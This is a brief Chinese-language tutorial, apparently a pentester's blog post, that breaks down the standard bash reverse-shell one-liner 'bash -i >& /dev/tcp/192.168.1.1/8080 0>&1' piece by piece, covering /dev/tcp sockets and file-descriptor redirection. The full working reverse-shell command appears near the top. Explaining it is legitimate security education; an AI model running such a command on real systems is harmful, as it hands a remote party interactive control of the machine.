我们在对linux主机进行渗透测试的时候,经常回用到反弹shell,之前也没好好去研究、理解具体都是干什么的,就只知道会用…(so low…-.-)
最基本的反弹shell的代码如下:
bash -i >& /dev/tcp/192.168.1.1/8080 0>&1
咱们一步一步来分析:
Step 1
bash -i
这个大家都知道就是打开一个交互式的bash
Step 2
/dev/tcp
这个是linux中一个特殊的设备,打开这个文件就相当于建立了一个socket连接,对这个文件的读写就相当于在这个socket连接中传输数据。linux中还有和它一样的文件/dev/udp
。
Step 3
/192.168.1.1/8080
这个是表示远程主机及监听的端口。
Step 4
0>&1
首先科普下linux shell下常用的文件描述符:
- 标准输入(stdin): 代码为’0’,使用 < 或 <<
- 标准输出(stdout): 代码为’1’,使用 > 或 >>
- 标准错误输出(stderr): 代码为’2’,使用 2> 或 2>>
经过查找发现:>&
和&>
的作用是一样的,即:
0>&1
和0<&1
是一个意思,都是将标准输入重定向到标准输出中。
Step 5
OVER!
好奇心真的很有用啊! )_(